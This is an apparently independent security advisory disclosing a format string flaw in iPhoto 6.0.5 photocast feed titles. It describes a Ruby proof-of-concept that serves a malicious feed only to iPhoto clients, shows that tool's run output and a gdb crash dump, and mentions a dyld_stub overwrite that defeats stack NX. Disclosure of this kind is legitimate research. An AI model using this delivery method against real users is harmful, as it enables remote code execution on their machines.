PR is all about attitude manipulation. Oh, jesus!

Artwork by GC.


Vendor (Apple) provides the following description of the software:

Rebuilt for blazing performance, iPhoto makes sharing photos faster, simpler, and cooler than ever before. It adds eye-opening features to the ones you already love, including Photocasting, support for up to 250,000 photos, easy publishing to the web, special effects, and new custom cards and calendars. In essence iPhoto lets you spread smiles far and wide. As easily as you can create a new photo album you can share it with friends and family thousands of miles away. A new feature in iPhoto 6, Photocasting allows .Mac members to share albums with anyone, anywhere. Say you have new photos of little Johnny Pwnerseed. Place the photos you'd like to share in an album called "Johnny Pwnerseed's Latest Pics.", then click "Photocast this Album". iPhoto publishes the album, and others can subscribe to it by clicking a link in an email you send.

And there the fun begins. By creating a crafted iPhoto photocast XML feed, a malicious user (in this example, infamous Johnny Pwnerseed) could abuse a format string vulnerability in the handling of the "title" element, potentially leading to a remote arbitrary code execution condition.

Once Aunt Sophia subscribes, the malicious feed is automatically downloaded into a "Johnny Pwnerseed's Latest Pics" album that instantly triggers the issue.

Affected versions

This issue has been verified in iPhoto 6.0.5 (316). Previous versions supporting the photocast features might be affected as well.

Proof of concept, exploit or instructions to reproduce

The provided proof of concept launches a fake HTTP service which will serve the XML payload to any iPhoto user connecting. If the user-agent isn't iPhoto, it will send garbage instead. For a more elaborate POC, you can modify it to take iPhoto version into account. Requires a working Ruby interpreter and capability to use the port 80 (as iPhoto apparently rejects any other port).

$ sudo ruby bug-files/MOAB-04-01-2007.rb 80
++ Starting fake HTTP server at port 80.
++ iPhoto 6.0.5 user connected (::1), sending payload (570 bytes).
-- User connected ( but not running iPhoto, sending bullshit.

Alternatively, you can serve the RSS on your own, for distributing the payload from another web server or location of choice.

Debugging information

The following debugging information corresponds to the results of subscribing to the photocast served by the default proof of concept provided.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Applications/ 
Reading symbols for shared libraries + done
Reading symbols for shared libraries + done
Reading symbols for shared libraries + done
Reading symbols for shared libraries + done
Reading symbols for shared libraries + done
Reading symbols for shared libraries + done
Reading symbols for shared libraries . done
Reading symbols for shared libraries + done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x925da956
0x9000c0c1 in __vfprintf ()
(gdb) info registers 
eax            0x925da956       -1839355562
ecx            0x0      0
edx            0x0      0
ebx            0x9000ad62       -1879003806
esp            0xbfffd080       0xbfffd080
ebp            0xbfffd7d8       0xbfffd7d8
esi            0xbfffe7ce       -1073748018
edi            0x25     37
eip            0x9000c0c1       0x9000c0c1 <__vfprintf+4976>
eflags         0x10286  66182
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55
(gdb) x/10 $eax
0x925da956 <+[NSString stringWithFormat:]+12>:  lea    20(%ebp),%eax
0x925da959 <+[NSString stringWithFormat:]+15>:  mov    %eax,-12(%ebp)
0x925da95c <+[NSString stringWithFormat:]+18>:  movl   $0x0,8(%esp)
0x925da964 <+[NSString stringWithFormat:]+26>:  mov    268480550(%ebx),%eax
0x925da96a <+[NSString stringWithFormat:]+32>:  mov    %eax,4(%esp)
0x925da96e <+[NSString stringWithFormat:]+36>:  mov    8(%ebp),%eax
0x925da971 <+[NSString stringWithFormat:]+39>:  mov    %eax,(%esp)
0x925da974 <+[NSString stringWithFormat:]+42>:  call   0xa261904b <dyld_stub_objc_msgSend>
0x925da979 <+[NSString stringWithFormat:]+47>:  mov    -12(%ebp),%edx
0x925da97c <+[NSString stringWithFormat:]+50>:  mov    %edx,16(%esp)
(gdb) x/10 $ebx
0x9000ad62 <__vfprintf+17>:     movb   $0x0,-26(%ebp)
0x9000ad66 <__vfprintf+21>:     mov    12(%ebp),%eax
0x9000ad69 <__vfprintf+24>:     mov    %eax,(%esp)
0x9000ad6c <__vfprintf+27>:     call   0xa001132a <dyld_stub_localeconv_l>
0x9000ad71 <__vfprintf+32>:     mov    (%eax),%eax
0x9000ad73 <__vfprintf+34>:     mov    %eax,-1740(%ebp)
0x9000ad79 <__vfprintf+40>:     mov    8(%ebp),%edx
0x9000ad7c <__vfprintf+43>:     movswl 12(%edx),%eax
0x9000ad80 <__vfprintf+47>:     test   $0x8,%al
0x9000ad82 <__vfprintf+49>:     je     0x9000ad90 <__vfprintf+63>
(gdb) i f
Stack level 0, frame at 0xbfffd7e0:
 eip = 0x9000c0c1 in __vfprintf; saved eip 0x90100ea9
 called by frame at 0xbfffd930
 Arglist at 0xbfffd7d8, args: 
 Locals at 0xbfffd7d8, Previous frame's sp is 0xbfffd7e0
 Saved registers:
  ebx at 0xbfffd7cc, ebp at 0xbfffd7d8, esi at 0xbfffd7d0, edi at 0xbfffd7d4, eip at 0xbfffd7dc
(gdb) x/10i 0x90100ea9
0x90100ea9 <snprintf_l+504>:    mov    %eax,%edx
0x90100eab <snprintf_l+506>:    test   %edi,%edi
0x90100ead <snprintf_l+508>:    je     0x90100eb5 <snprintf_l+516>
0x90100eaf <snprintf_l+510>:    mov    -116(%ebp),%eax
0x90100eb2 <snprintf_l+513>:    movb   $0x0,(%eax)
0x90100eb5 <snprintf_l+516>:    mov    %edx,%eax
0x90100eb7 <snprintf_l+518>:    add    $0x13c,%esp
0x90100ebd <snprintf_l+524>:    pop    %ebx
0x90100ebe <snprintf_l+525>:    pop    %esi
0x90100ebf <snprintf_l+526>:    pop    %edi

(gdb) grep /s http://localhost
Pattern found @ 0xb012e803
0xb012e803:      "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss"

Pattern found @ 0x16601d09
0x16601d09:      "http://localhost"

Pattern found @ 0x1666e570
0x1666e570:      "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss"

Pattern found @ 0x1667eac9
0x1667eac9:      "http://localhost/evil/johnny_pwnerseed"

Pattern found @ 0x162ae969
0x162ae969:      "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss"

Pattern found @ 0x15ecbb40
0x15ecbb40:      "http://localhost/evil/johnny_pwnerseed/\0258?H"

Pattern found @ 0x15aa756f
0x15aa756f:      "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss"

Note: the 'grep' command has been implemented as a patch to gdb, based on the original work by infamous41 for GNU/Linux gdb (relies on procfs, we ported it to use vmmap and rewrote the linked list code). It will be made available ASAP (please don't e-mail asking, it will be released soon and we are already busy).


Exploitation conditions

Stack NX is once again rendered useless due to the dyld_stub overwrite technique (in x86). The issue is architecture-independent, although PowerPC exploitation doesn't require the technique mentioned above.

Workaround or temporary solution

Don't trust Johnny Pwnerseed, Aunt Sophia's or other unknown users photocasts (as the risk is more than just being a victim of the Goatse meme). Don't try to subscribe to them without checking first that the feed doesn't contain a malicious payload.

"For the protection of our customers, Apple does not disclose, discuss or confirm security issues until a full investigation has occurred and any necessary patches or releases are available."